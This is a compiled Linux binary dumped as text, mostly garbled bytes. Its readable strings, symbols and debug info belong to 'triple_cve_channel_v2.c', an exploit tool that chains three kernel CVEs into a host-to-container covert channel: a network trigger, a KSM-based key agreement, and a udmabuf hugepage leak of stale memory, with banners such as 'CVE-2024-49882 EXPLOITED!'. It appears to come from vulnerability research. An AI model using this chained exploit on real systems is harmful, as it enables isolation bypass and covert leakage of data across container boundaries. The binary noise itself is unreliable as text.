U2T	�`�fBABA]
�O�f���f���f�f���fcA<�f�A/
�OT}Q@R0X~YL�A�U
��@�cPUT�Q��R
��@�cJPUT�Q��R
��@�cvPUT�Q��R
�A�cUT�Q��~R
�L?<Qi7-RP?."���l?�cUT}�Q~R
�=p�>"�	UQLpb`�>UsU	Hh=p
?
?
�QLpvt?UsU	�hHn ?2	�QUn��-?�U��=p-?-?	2RLp��9?UsU	�h=p�?�?!	�RLp���?
U2T	iQ|R �o�?B)
�Rp��p���o��=p@R*
(SLp��@
U2T	`iQ|R =pC@C@,
wSLp  O@UsU	�i�oT@b%
�Sp( & p9 7 �oK I =pw@r&
�SLp] [ |@UsU	0i�>�c(TUT�Q��R
'�?�cUT�Q��~R
�O= �Ti1u o *=pP=�1)Lp� � j=
U2T	�`=pB6F$ULp� � G6UsU	�d=pp6V*PULp� � �6
U2T	PfQ
=pG6G6%�ULp� � S6UsU	 f=pS6S6&�ULp� � _6UsU	0e=p?9��1VLp!
!N9UsU	�`=p�9��yVLp#!!!�9
U2T	�`=pN9N9��VLp;!9!m9
U2T	�fR
=pm9��"WLpS!Q!�9
U2T	gQ|=p�9�]WLpk!i!�9��U:=p�9�9��WLp!}!:UsU	pg=p::��WLp�!�!:UsU	�g=p<=<=0OXLp�!�!O=
U2T	�`=po=o=
2�XLp�!�!y=��U:=py=y=3�XLp�!�!�=UsU	�i�n@@�CY�n�!�!l�n=p2@2@�	mYLp�!�!>@UsU	@gp6�^�YU��~@�YU0
@�

�Ajw��Y6�!`5��]ctx#'.""=pd56BZLp@">"t5UsU	�d=pt5t5�ZLpT"R"�5UsU	e=p�5�5�ZLph"f"�5UsU	0e=p�5�5	/[Lp|"z"�5UsU	�eHn�5�5

	z[Un�"�"�5�U��=p�5�5	�[Lp�"�"�5UsU	N`=p�5�5	\Lp�"�"�5UsU	�e=p�5�5	g\Lp�"�"�5UsU	e`=p�5�5
�\Lp�"�"	6UsU	�e�5cj�\Us�5cj�\Us�5!gUsT
`�D%�
�C],w�'C](len�4*-sum��8-i�*�E���],w��](len�&*(key�:C],X�F*8-i�*����4��]S� DUS�/�Tm��D�](ctx�(�]/&�`4:�:^ctx�'�]�"�"�4yT@A$D<�DW^(ctx�,�]&'��3%��^ctx�'�]&#"#74yT@A$Dd��^(ctx�#�]&�m3��`ctxm`C#=#�o�f#b#��_ip~#|#�o03�q	]_�o�#�#�o�#�#�o�#�#Hna3a3
r	�_Un�#�#k3�U
�s3`Uv*=p�3v'Lp
2`�7�3
U2T	2`�B
\
��2T�actx\!`�#�#p^a$�#�_�$$�ia7$1$�t1b�i$e$t2e��$�$�n�2�b�`��n�$�$�n�$�$*�n�2�e��n�$�$�n�$�$�Er
Qfa(ctxQ"`,Q+-pS�]C_T
�8-iV&�G01���bfI)%%ZpX1X1KbupA%?%ip[%W%q1�rU	`T1Q3RsZp�1�1Mmbupq%o%ip�%�%�1�rU	/`T1Q2RsP1]�bU	XdTvy1G�bUs�1]�bU	`TvT�1G&+?�0=�Bcctx?`�%�%1�,cT
Q=7-1yT
=4�0U��cctx4`�%�%�0��cU0T
Q3R"X	�Y0�0�T
Q<�	P/3��fctx&�f
&&3�;&3&�L�]i&a&W�&�&#pfdH��~#buf
�f��~���&�&@0>Den�&�&]0!�d���&�&Bo@0@0Co�&�&7o�&�&+o�&�&o''Oo,'*'X0sT��~Q@R@an�/b�eUnn�/{�{~n��~�/�U1T|�n�/�/
	fo=';'�nM'K'�na'['�/�U��~T1Q:an�/�/)tf9nn�/�/�.~n��~�/�U1T|
�0jw���f6?E�!g(ctx'�f,4�,�C�C;

�8-i
 //

gT|Q@R0X}YL*/�U
�V��P-h�Sj:ctx�!�f�'�'F�*�'�'Gpfd�H��}Gbuf�
Sj��};��	�'�';����'�'`.S�hHn�(�'}.6Oh;���(
(9=p�.�.�Lp ((�.
U2T	0dQ~9o`.`.�Co8(6(7oI(G(+o_(Y(o�(~(Oo�(�(x.sT��}Q
R@Ian�-,�,iUnn�-?�?~n��}�-�U1T|I=p�-O�niLp�(�(�-UsU	d<�n�-�-�
�io�(�(�n�(�(�n�(�(�-�U��}T1Qd<an..)�Ej9nn..�.~n��}.�U1T|
�.jw�cj6�W�Р,��}k:ctx�(�f)�(6;
�
�f��;��}k;)3)�jHi�h)`)�,&!kHi��)�)-/
T|Q@R@X}YL<=p�,�,�okLp�)�)�,UsU	�c
C-jw�W��p,&��k:ctx�%�f�)�)
�,^
T�,^
V���*��Hn:ctx�!�f�)�)F��2G*?*F��?q*m*Gopt�	��~6��E��~�+@m6����<�p�+�+(�	�l�p�*�*�p�*�*�p�*�*,�sU|T@Q2R@X	`Yv,u
U:T|QsI�o�*�Mm�o�*�*�o�*�*�o�*�*+�
nmU:T2Q0-+�
�mU:T2Q0`+�
�mT1Q2R��~X4�+�
�mT��~QL�+u
�mU:TvQs),�
nU2T2Q0Y,�
:nU2T2Q0
m,jwn��an=ms�o���Jv���n>ts�^Jc���n>lo�=>hi�=p�z
�*��nqszU$J%o
%�%$<�%0$O"[o�""D=__n"%*X".>sz$
*$�)�o�).)$�\
�o�
\�
\?\*$9D�o�
9D�9?9*$QD p�
F�
�?*J|!"s=p�!"s$`	TZp�T $_	M�pOM.�M<$>3�p=__s3=__n3*�3.�f�.��8q�f+�*�f:+6+�fV+R+�f��r�f/**q�fp+n+
O/jw. a�1���q'+aU'7aTCa�+~+Ma�+�+Ya�1�Za�+�+.�^�3��q'�^U.:^4K�rJ^�+�+74�U0T@A$Q3R"X	�Y0.H]5+�sr'S]U'_]Tk]	,,'w]R4�]�]!,,.]05#��r]<,6,]^,X,*]�,z,46]&7]�,�,/dZ}�{
════════════════════════════════════════
/�|�z════════════════════════════════════════
/���╔════════════════════════════════════════════════════════════════╗
J�H║  Triple CVE Covert Channel                                     ║
P�N║  Trigger: CVE-2023-1206 | Key: CVE-2025-40040 | Data: CVE-2024-49882 ║
���╚════════════════════════════════════════════════════════════════╝

/�����
╔════════════════════════════════════════╗
2�0║ SUMMARY                                ║
���╚════════════════════════════════════════╝
s		J�H║  CVE-2023-1206 + CVE-2025-40040 + CVE-2024-49882               ║
�
Options:
-�+  -i          Initiator mode (send first)
0�.  -r          Responder mode (receive first)
!�  -p IP       Peer IP address
!�  -m MSG      Message to send
 �  -v          Verbose output
�  -h          Show help
�
Example (Host + Docker):
9�7[Phase3] RELEASE SIGNAL RECEIVED! Starting capture...
#�![Phase3] ✓ Checksum verified!
���
[Phase3] ████████████████████████████████████████
@�>[Phase3] ████ CVE-2024-49882 EXPLOITED! ████
@�>[Phase3] ████ LEAKED PAGE CAPTURED!     ████
���[Phase3] ████████████████████████████████████████

<�:[Phase3] (suppressing further session mismatch messages)
}�{
╔══════════════════════════════════════╗
1�/║ Phase 3: RECV MESSAGE (CVE-2024-49882)║
|�z╚══════════════════════════════════════╝
'�%[Phase3] Waiting for scan signal...
8�6[Phase3] Got signal! Waiting for hugepage release...
3�1[Phase3] Waiting for release signal (max 5s)...
:�8[Phase3] No release signal, starting capture anyway...
#�![Phase3] Capturing hugepages...
!�[Phase3] Message not captured
���
[Phase3] ═══════════════════════════════════════
���[Phase3] ═══════════════════════════════════════

,�*[Phase3] Timeout waiting for scan signal
(�&[Phase3] Error: Key not established!
1�/║ Phase 3: SEND MESSAGE (CVE-2024-49882)║
/�-[Phase3] Allocating hugepage via udmabuf...
6�4[Phase3] Message encrypted and written to hugepage
4�2[Phase3] Signaling receiver to start scanning...
6�4[Phase3] Waiting for receiver to start scanning...
;�9[Phase3] Releasing hugepage (CVE-2024-49882 trigger)...
=�;[Phase3] Message sent! Hugepage released with stale data.
0�.[Phase3] Failed to allocate udmabuf hugepage
/QG0�.[Phase3] Clearing old hugepages from pool...
4�2[Phase2] No ack from peer, sending key anyway...
�hase2] Key sent to peer
'�%[Phase2] Peer ready, sending key...
5�3[Phase2] Initiator ready, receiving session ID...
2�0[Phase2] Waiting for initiator ready signal...
2�0[Phase2] No ready signal, proceeding anyway...
'�%[Phase2] Receiving key from peer...
;�9[Phase2] ERROR: No key bytes received! Using local key.
2�0[Phase2] Using synchronized key from initiator
2�0║ Phase 2: KEY AGREEMENT (CVE-2025-40040)║
�hase2] Key established!
�
/��"� [Phase2] Synchronizing keys...
,�*[Phase2] Waiting for peer to be ready...
(�&[Phase2] ✓ Key agreement complete!
3�1[Phase2] ⚠ WARNING: Key may have low entropy!
0�.║ Phase 1: TRIGGER (CVE-2023-1206)     ║
%�#[Phase1] Initiating connection...
�[Phase1] Trigger sent!
#�![Phase1] Waiting for trigger...
�[Phase1] Trigger received!
(�&[Phase1] Timeout waiting for trigger
2�0[Trigger] Waiting for CVE-2023-1206 trigger...
,�*[Trigger] Sending CVE-2023-1206 burst...
I~1�BH}1R�BX!YWIH}61R�BUX!YW	
:;9I8
H}4:!;9I�B41�B
:;9I!I
:;9I84:!;9I�B:;9I4:!;9I.?:;9'I<U41(UI1!I/.?:!;9'I@z:!;9I�B:!;9I�B $>!.?:;9'I<"(#4:!;9I$.?:;9!'I !4%
:!;9I8&.?:!;9!'@z'1(:!;9I)1*1R�BUX!YW+(,:!;9I-4:!;9I..1@z/.?<n:!";!07I1:;9!2:;9I3.?:;9n'I<41U5&I64:!;9I7H}�891R�BX!YW::!;9I�B;4:!;9I�B<1R�BX!YW=:;9I>4:;9I?<@4:;9I?<A
:!;9IB1R�BX!YWC4:!;9ID.?:!;9'I !E.?:!;9!' !F:!;9I�BG4:!;9IH4:!;9I�BI1R�BUX!YWJ.:;9'I !K5IL:;9!M!:!;9!	N:!;9!	O!I/!�P.?:!;9!
'<Q.?:!;9!'<RS:!;!�9ITH}�U1R�BUX!YW!.V.?:!;9!'I@zW.?:!;9!'@zX%UYZ$>[:;9\&]'^>I:;9_>I:;9`:;9a:;9b
:;9I8c:;9d
:;9I8e
:;9I8f.?:;9n'I<g.?:;9'I<h.?:;9'I<i
:;9j1XYWkH}�l41m.?:;9'In.:;9' o.:;9'I p.:;9'@zq:;9Ir1s.?<n/��
Lo����$*3;ENW_fmu��������������#18CN 	�*�"J+38�'.
�f�J*NT���
��XX/�=/�	I�&rJ[7���[ M	�^/�	zf�~
X#	�te	/&��*(=*/��K =.JY<K W��w
U	�-tN�~
t�X�
	=+�\X.. $	i97����/Cyfu�<
JXt/�z<��~�
�~JX��'y�&�7[��> X	��~
X�� I�'y�&�7[ ��XY�X
q��~��
�Y�"K��~
X� J�
g�xTJ�
K<uYM
	��]XJ j7�~X��/@bK�~�/��~<<���~'y��~JY&�7[��>	/�~
X��I�~'y�&�7[��
XYJX..
tt�~��
�Y)��X=J K!;=fX>���/ )] �K =<Jj 	���	�K	"�	":	LY��~
�"��	!X�~
�!�!I= !Y  xK 
<L
t,	�k%I��K
:	�~�J�~</	�	K=�~/	��~!J.J�!�~t�ff
`u�K

�}t��Y-	M�}
��
�}J���	��~%�	��9�
�}���
�}<�.JK�}�f
�}J�<Ku,u�K<Xw	V��K!;=fX>ju 	}	u2 jK =<Xy 	~�	uv wPKu	XK
=X	K�"�JXfK
�&K1<*J".t0%�K�|� 
�|<tX��|
���|
��	��|
�	���}%�	���|
��/ 	wX�|
�	�
�	N�|
��
zJ�|
�
�^ 	 
�|�t�
�|��.J=�|
X��|
���|
���|
t�
&
�|X.&�	��~�
%	td%I�	��|%�	�	�7Jg
Y"	�=*AButI	J!wX0*@!zJ>N!7+	D	1
��}
�
�Y�YX[
<<<	g��%�f�X
��|%X
�`<	t
�$:f$X3X	5<
/%.X%<.	�$x�
	J�{t
J<XJ5�&X��
	�9�;
Y-t!s<%WJ^�{
���{
���{T�
�{JT��
�{XT���
�{�X��{
.�
)f�{)�
�{X�t
�{J�%�Y�{
�X
�{JX�#��{
��	��{
��t	��{%�X%��X	��|
L
�Y�\
	��f	��{
�<
�~fX	�E�|t
��YM
	��f	��|X	�fY>�|t
��YM
	��f	��|X	�fY�|
c��YM
	��f	��|X	�fY�|
c��YM
	��f	�
	Y
XEJ
��z
���|
��|����
	��X
�V
L)V%�{f	���{%X	�%�{�
��|
rL
dY�\
	��f
��{%�!�	y�z
���z
.�
) �z)�
�z<��
�zJ�%�Y�z
���z
��$
�~ %.%.�%<1G	��<
��{
�X
�`t%�|.`�X
��|%X
��}
M
�Y�YX[
<	g���XX
�6$J6J$<	@<	j$u�
f�	�
�z�t	Y�z
X	�
fHJ
��z
�
�	��{%�X%�{<X	��z
�	�	/
K�
Y�K!Y!IY)Jf			YZ�z
�	��
Z�y
9fGXX
��z
XX	�#1��{t/:�.X<	V��{
�X
��z
�
�X�y
9fGtX
��z
XX
��z
�
��%X-X
YYggg4X
�zXA��*<1<^.KtXX^<
�z.�.
g�z
X
��{
L
�Y�\
	����
��z
��X���g���Y	��	X�0�yJ���tyX�X=��	�ggv	N%@	X
�yt	���y<
t	�	j=	X
�yt	�t�y<
	���z	
fE	X
�yt	�t�y<�	�B	X
�yt	���y<
t	�uub	$�8	X
�yt	���y<
t	��uuX1tKK	Y�f	KY�f	KY�f	KY��g���Y��Y0�xJ���tyX�X/��>n�=	Y�x
���uu�	n#uu�a	�u&.�~t
�yf�t
�y �.
�y �.t/�y
X�
	k�y
�<�	�ztJ	g	��
t	;	K!WX�y
�.
�yt��
�y �t
�y<X��.
�xt�X��x
X��x
���x
����x
�����x
�<��g:�$f�=Ys==t�x<
7�
�{
�&�1<*J".Y�?.�{t
	�f"�JX�L�x
�tf
�~JX��x
J��x
X��x
X��x
X��x
X��x
���y
L
VKu\
	��f��x
���x%���x
���y<X�[�x%���y
L
VKu\
	��X�u�x
��/�
�w�8��w�{
X
�|X	��x
�	�	��x
�	�/.��
�x�t�u�x
X��x
���x
����x
��	fD���x
�t7vt
�w<X�7
f	�7z�h�	YY��w
f��w
�
�
�wtX��w
��
7	�
	Y
XDJ	�
	�
Y�
�Y�J,X!JGr�7X
�wֺ�	�w
X��w
	�t;1<
�w.X�2	�<�!�t
K�w
�F�2<�	�	�	�	K
�#<f�$K�
�Fc<<YFb2���v
��		�v
��	�~���
D�
��w
�
��w
�
��w
�
��w
�
��w
J
��w
t
��w
f
��w
f
��w
f
��w
f
�#J<�
�v�	X�v<
J���	8�zt
	�f"�J�&/1<*J".Y�#J��w
�t�
����w
�f��w
�X���w
��
�w�
���w
X
�
�wXG3�X�	=�u�v
���	%
�wX%�tY+u�w
X	��	�v
��		�v
�	�	�v
X	�	�v
��	
�v�X�39.��w
X�X	L�x
�	�
�wX�.�tf�	��x
�	��X	�K�v�	 
�v<tX�	�v
��	�v
��	�v
��	�v
X�	�v
��	�v
��	�v
��	�v
��	�v
��	�v
��	�v
��	�v
��	�v
X�	�v
�	�
�v �	@%�	-	;�xt/	~[3�3�	�<^(�/�.�.%t�%�U	���%�X
�v.�	X.Z�v
��	�v
��	�v
��	�v
��	�v
��	
�vf�	X
�v<�	�u�v
X�	)�vZ	 �	X���x/-YK�[	��	��	�
�	�
t��u
��
�u
��
�u
��
�u
��
�u
��
�u
��
���	�X�	��
t
��u
`t �X
�
�u
X
�
�u
�
�
�u
#
�
�	L�v
�	�		\�v
�	�		
X�v
�	�	]�v
�	�	
_�v
�
�	^�v
�
�	�v
X
�	�u
�&�	+X__recv_aliasphase3_send_messagesin6_flowinforeply_shortbuf_IO_lock_tstrlenstderr__flags_IO_buf_end__off_t__poll_aliassignalMSG_ERRQUEUEsockaddrfree_hpbindsin6_scope_id_IO_write_endget_us_freeres_listhugepage_check_magicclear_hugepage_pooltimeout_msgetopt__socket_typecalc_checksumstrerrorhugepage_alloc_write_markers__builtin_fwriteksm_ctx_trelease_detectedtrigger_send_sync__u6_addr32__timeoutnfds_tGNU C17 13.3.0 -mtune=generic -march=x86-64 -g -O2 -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protection__builtin_memcpymmapfoundrdtsc__u6_addr16__errno_locationmsyncg_sender_dmafdcopyudmabuf_alloc_hugepageg_sender_memfd__bsxtiming_samplesis_sendermsg_frame_tudmabuf_fdhugepage_capture_IO_save_end__useconds_thugepage_cleanupmalloc__lencopylenlong long unsigned int__open_2last_free__u6_addr8deadlineour_entropy__uint16_t__sighandler_t_IO_backup_baseMSG_TRUNCin_port_ttrigger_cleanuppeer_ipvaluegot_peer_filenoMSG_OOB__bufsin6_porttv_nsecusleepsa_family_tsrand_vtable_offsetpeer_addr_IO_read_basehugepage_initudmabuf_release_hugepagephase2_key_agreementpages_capturedtrigger_wait__uint64_t__poll_chk_warn__poll_chkbind_addrksm_merged_count__fmtexpected_roundioctlreceived_keyattempts__oflagpages_wrong_sessionpoll__streamkeylentimespec__fprintf_chkget_nschannel_ctx_t_IO_markeris_initiator_IO_read_ptrbuflentrigger_inittrigger_countMSG_NOSIGNALudmabuf_createSOCK_DCCP__builtin_putsmappedSOCK_PACKET__nfdsphase1_triggerMSG_DONTWAITksm_init_IO_write_baseSOCK_DGRAM__pid_thigh_timinglong long intksm_calibratesig_handler_IO_save_baseframe__fd__printf_chkdma_fdmadvisemsleeptrigger_ctx_txor_crypt__syscall_slong_trx_sockreadymemsetMSG_ZEROCOPYMSG_SYN__recv_chkbuffersnprintfsize_freeres_bufin6addr_anypollfd__in6_usyscall__bswap_16__pad5__builtin_putchar__isoc23_fscanfinet_ptonMSG_FASTOPENMSG_EORfopenargc__chbytes_receivedMSG_CTRUNCMSG_CMSG_CLOEXECoptargargvprint_usagebyte_valclock_gettimesendto__uint32_tsequenceSOCK_STREAMspray_countsetsockopttx_sockreventssin6_familyexpected_seq_minshort int__path__open_missing_mode__clockid_tallocated__builtin_strncpyMSG_DONTROUTElength__stack_chk_failg_sender_udmabuf_IO_wide_data__open_aliasfcloseMSG_TRYHARDMSG_PEEKfprintfsocketMSG_BATCH__ssize_tdecryptedmessages_sent__uint8_ttrigger_wait_syncSOCK_CLOEXEChugepage_ctx_tMSG_RSTMSG_MORE__CONST_SOCKADDR_ARG_locktv_sec__fdsprog_IO_codecvtftruncate_old_offset_IO_FILEpacketksm_measureSOCK_RAWMSG_WAITFORONEMSG_WAITALLksm_fill_pattern__destunsigned charkey_bit__socklen_t__src_IO_write_ptrSOCK_SEQPACKETphase3_receive_messagebaselinefcntl__time_t__open_too_many_argshugepage_releasemunmapksm_cleanupMSG_CONFIRMspray_pagesrecvverbosepeer_entropysa_familygetpidMSG_FINshort unsigned inttrigger_send_burstmain_IO_read_endSOCK_NONBLOCKtotalksm_enablerunningudmabuf_leak_hugepageg_session_id_chain__builtin___snprintf_chk_flags2MSG_PROXYkey_establishedones_cur_column__recv_chk_warnsockaddr_in6sa_datasin6_addr__off64_t_unused2_IO_buf_baseSOCK_RDMmessages_receivedtriple_cve_channel_v2.c/home/vlad/Desktop/convert_channel_bug_exploitation/usr/include/x86_64-linux-gnu/bits/usr/lib/gcc/x86_64-linux-gnu/13/include/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/include/netinet/usr/include/x86_64-linux-gnu/sys/usr/include/arpastring_fortified.hstdio2.hpoll2.hsocket2.hfcntl2.hstddef.htypes.hstruct_FILE.hstdio.hclockid_t.htime_t.hstruct_timespec.hstdint-uintn.hunistd.hgetopt_core.hsignal.hsockaddr.hsocket.hin.hpoll.hmman.hstring.hstdlib.hioctl.hfcntl.herrno.htime.hstdio2-decl.hinet.hbyteswap.h<built-in>socket_type.h�,@%iUi�V���U���V���U���V���U���V��	�U�@%iTi�S���T���S���T���S��	�T��%0��%0���_�%0���P�%0��%P��P��Ps)
7c��)��r�)
Oc��)�^s�(��r�(#
yc��(#
��(#]�(
cc��(�^s�&

���&
0��&
S�&��s�&��t�&��t�&�Qu�&?��&T_�&U�ܾ�9'
�����'�)v�'��v�'��v�'
�c��'
�c�(
�c��(
�b�
)
�b�/)
c�Q)
!c�QU�S��Q���U�Q��s$Q��t0Q�sw<Q�QuHQ
,b�^Q��wjQ��wvQ��w�Q�.x�Q�Qx�Q�tx�Q��x�Q��x�Q
�u�PJ-U-�V���U���
VPJITI���_��	�T��	�
��_�
��T�����_��
�T��
�
��_�
�
�T�PJIQI���_��	�Q��	�
��_�
��Q�����_��
�Q��
�
��_�
�
�Q�-K���-K�0���	0��	�
1��
�0���0�-K�0���S��s���S��S��0���
S�
�0���S-K�0���\��|���\��\��\��0���	\�
�
\�
�0���\-K�0���^��^��0���
^�
�0���^-K�0���0���1��
�
0��
�1�5KPVS��P��U��_�
�
_�K
0��P
xn�TO��x_LC]U�P��]��P��]��P��]��P��]��P��]��P��]��]��	]�L1p��p��p��}��p��}��p�L)P)<]��P��]��P��]��P��]��P��]��]��]�NT Q��T��T��T��T�OEP��P��P�O)P��P��P�O)[��[��[�O!��_!)R����_����_��R�O�
yFN*X��XFN}�T*}���}���T��}�FN*[��[��U��[wN) �wN)RwN)XwN)[wN0�)P�NT�N	q�#� �		q�#� ��N
�r�rM�2y~M��y�M��y�M�@z�M
�a��M
�a��M
 q��M
�a��M
�a�N
�a��N(
ho�O
�n�(O��z|L
s��J�{�J��{�J��{�J�8|�J�a|XK
�m�oK(
�m��K��|DL��|IL�}M
`q���
`q�#M�1}P�T}#P
(r�9P��}�P�b~�P��~�FU�V���U���V�F1T1�\���T���\���T�,G(P(+R+�S��U��S��P��S5GP"R"�S��U��S�F�{�F��~�F��{G��~5G.
�5G.0�5GP"R".S�G7X��X��X�G7\��\��\�G7P��P��P�G$X�IX�GP$s���P�G0�$Q��0��G0��I0�H ��� �HR��v��HX��0�Hs���PH0�P��0�<H��HD	���HD	���HDV�H0�RH
9a�gH
Sa�}H
oa��H
�a��H
�a��H�VI��I

��%I��HIC	��HIC	��HICVaI0�>I
d��I��"J��~8J�@��DP�]��]��]�DP0U0�V��V��P��V�D#P#rS��S"EPK^ktPtu^5EP8\�D2��D
a�:E@A$�:E^:EP\�CUg�U��AP�]��P��]>BP0U0uV��P��VrB#P#A\��P��\�BP��P)B2�)B
a��B
�i�C
 j�FC
@j�kC
hj��C
a��E0�5V5@v�@]V��V�E0�<V<@v�@]V��V�E$P$DQL[P[eQ��Q�E3
��E30��E$P$'R'3QHF0�s�#�3%�$s�#�3%��E�{�qF4
�j�<A
�j�6U�_��V��_����~0���_��V��}x���_66T6���~�80��\��|����|����|���60��S��_��S��Q��s���S��s���S��_��S�7P�^��^�7#8#�#���������p#���������-���#8#�#���������~#���������-����#v8#�#���������~#���������-����
#8#�#���������~#���������-���7P=V=���~��~8%?~2%~4%'~6%'~'1'���~8%?~2%~4%'~6%'~'1'���
V�
�
���
�
��~�
�~8%?~2%~4%'~6%'~'1'��7�0���Q��Q��0���
��~�
�
Q�8p1�HPHO��~�
�
P��p1���P�6�S�6�0��610�6���~�6$0�i7
N��72V2y��~�78S8>���75_5yV80�P85��8
xf��=
�f�%>5�*>.V.4��4r��~*>4S*>4_4mVmr}x�U>	0��80�7
t
T�7;
t
S�;N
t
T�9
0�
:R�90�
}
T�"
}
U��9"
�`�?<0�p\�
�
0�j<|"#�j<<|��j<<_|<0��<0��<N	���<N	ߟ�<N_�<0�=
D�,:
��@:K1�@:K	��@:K_`:0��:
�g��:P�:L	���:L_�:0�
;P;L	��;L_';0�b; 	M�b;K	��b;K_�;0��; 	L��;K	���;K_�;0�3<����<d�0=���A��L?0�-\-2|�2�\��\�@�+�=A
�`�BA]2�BA]	��BA]_cA0�L?0�2]26}�6�]��]�>�b�
?��� ?
d�-?�ʁ�?
i��?2 ��?2����?2��@
`i�C@��T@# �T@#���T@#��w@�0�O=0�
s
T�
s
U�O=
�`�B6�{p6
Pf�G6�d�S6��{?9����9
�`�N9
�f�m92
g��9����9�Ƃ:��<=
�`�o=
���y=��@P2@�B�`5UkSkl�U�l�S���U�d5�{t5�w��5��{�5����5
d��5�Ѓ�5���5���5�1�`4US�U�9S9:�U��3 U %�U�3 U �V���U�30��S30�031
�03]1}o�03v%Ra3
5��2UT�U��2
u
Py�`��2
0�
PX�2
0�
7ty#� 9%�7Cty#�9%��2	q���� $u����!�	r���� $u����!��2q���� $p����!��2U�2Q�2P�2QP1 P )S;XPXaSafUghPhiSX1
`�X1PS�1
/`��1PS�0US�U�8S8=�U��0"U"MSMN�U�NTSTU�U�P/HUH�]���U���]P/NTN�^���T���^P/^Q^�_���Q���_P/^R^��R��/bSl�SX0P]0!��~:0@�:0��~�T��~�:0}:0@��/:��/1��/��~�U��~�P-KUK�]���U���]P-^T^��T��-70���^�-uS}�Sx.2P}.1��}�.
0d�X. @�X. 
�X.��}�T ��}�X.}X. 
��-	�[��-d��-1��-��}�U��}��,LUL�V��}x����U���V�,7���7z\z}���}�\�,
4�
qw�qw#�4qw��,0��,���p,
U
S�U�!S!&�U��*=U=�S��sp����U���sp���S���U��*T�V���T���V�*Q��Q��++
`��++@��+���+\�*0��*0��*U�.EUE�V��}x����U���V�.ETE��T��.EQE��Q�/0��1TuT�q�`��1P�t3$t"2$t"#B��1<0�4"U"8S89�U�9JSJK�U�5Q+Y50�&X05U�U�#U05T�T�#T45
0�
P0�45
0�
u�U��U u"�0��*'2�,a-
.3Nw�- ;�-f/
(258@@De�/

/�2H�2#/�2	&)�23k3
!F�3#(5&45d56).(6H`ex�6����6��
��6%�@8>�8@?9
F9Ylm9-2�9�9	,:���,:1:
Z�:�:W�:WW;V�;V��?<{�
�
]<

I�<

�<gP=�>����> ?
�?2�?,6T@
#Z@'A%'-2�BC
<C
\C�C�E
',�E!w���E']gw�E'VqF$%,/4<A�F!�G7�����G$���G
$H��<HCH
��4IWvJ$�JoK#(�K�K����
�
�K%����
�
�Kc��
�
�PHO8LIL`L7L�����������	�L,/4����������>N�������>N2���OV�����O)�����O0OM��Q�Q
�&<I�&�'0���(�(/R�*�N@%�	�	� �+�*7�?L�L�[�l�{��*�0*�p*�H��x���*�p�{�l����&dy9��O`4:`{������ C �6G!��_�F�s��3�����A� ���0=p,&#5�Q;N�4K_5+i���*����Cg�PJ���
�E�305#A�Na�2Tm ��� ����`��`5���3%+P�G�)&0P-h=3�K �W�,�j}@%������01����.���0U6�1DP/3VPDnl �x�1��Q�� �4K��"� �@�-�4Scrt1.o__abi_tagtriple_cve_channel_v2.csig_handlerrunningg_session_idg_sender_memfdg_sender_udmabufg_sender_dmafdcrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entry__FRAME_END___DYNAMIC__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE_hugepage_release__snprintf_chk@GLIBC_2.3.4free@GLIBC_2.2.5recv@GLIBC_2.2.5putchar@GLIBC_2.2.5__libc_start_main@GLIBC_2.34__errno_location@GLIBC_2.2.5strncpy@GLIBC_2.2.5_ITM_deregisterTMCloneTable__isoc23_fscanf@GLIBC_2.38puts@GLIBC_2.2.5in6addr_any@GLIBC_2.2.5phase3_send_messagesetsockopt@GLIBC_2.2.5hugepage_initfcntl@GLIBC_2.2.5clock_gettime@GLIBC_2.17getpid@GLIBC_2.2.5udmabuf_alloc_hugepage_edataksm_cleanuptrigger_cleanupfclose@GLIBC_2.2.5msync@GLIBC_2.2.5_finistrlen@GLIBC_2.2.5hugepage_capturexor_crypt__stack_chk_fail@GLIBC_2.4mmap@GLIBC_2.2.5trigger_initftruncate@GLIBC_2.2.5udmabuf_release_hugepagephase3_receive_messageioctl@GLIBC_2.2.5sendto@GLIBC_2.2.5srand@GLIBC_2.2.5clear_hugepage_poolcalc_checksum__data_startsignal@GLIBC_2.2.5ksm_measureoptarg@GLIBC_2.2.5syscall@GLIBC_2.2.5__gmon_start____dso_handlememcpy@GLIBC_2.14_IO_stdin_usedinet_pton@GLIBC_2.2.5phase1_triggertime@GLIBC_2.2.5malloc@GLIBC_2.2.5hugepage_cleanup_endtrigger_waitksm_calibrate__bss_starttrigger_send_burstmunmap@GLIBC_2.2.5main__printf_chk@GLIBC_2.3.4poll@GLIBC_2.2.5bind@GLIBC_2.2.5madvise@GLIBC_2.2.5ksm_enabletrigger_send_syncfopen@GLIBC_2.2.5getopt@GLIBC_2.2.5ksm_initphase2_key_agreementfwrite@GLIBC_2.2.5trigger_wait_syncudmabuf_leak_hugepage__TMC_END__ksm_fill_patternprint_usage_ITM_registerTMCloneTablehugepage_alloc_writestrerror@GLIBC_2.2.5__cxa_finalize@GLIBC_2.2.5usleep@GLIBC_2.2.5stderr@GLIBC_2.2.5socket@GLIBC_2.2.5hugepage_check_magic.symtab.strtab.shstrtab.interp.note.gnu.property.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.data.rel.ro.dynamic.data.bss.comment.debug_aranges.debug_info.debug_abbrev.debug_line.debug_str.debug_line_str.debug_loclists.debug_rnglists#8806hh$I�� W���o��4a���i��
q���o�
�
b~���o�
�
��pp�Bxx��  �    ���"�"��"�"��@%@%�,��Q�Q
�``b�dydy$��z�z��p�p��x�x������ 
�������������  � �0 0 �+'K�@6����BI@P�/\0�K�g0`X\w�Z�,������
&	@�B���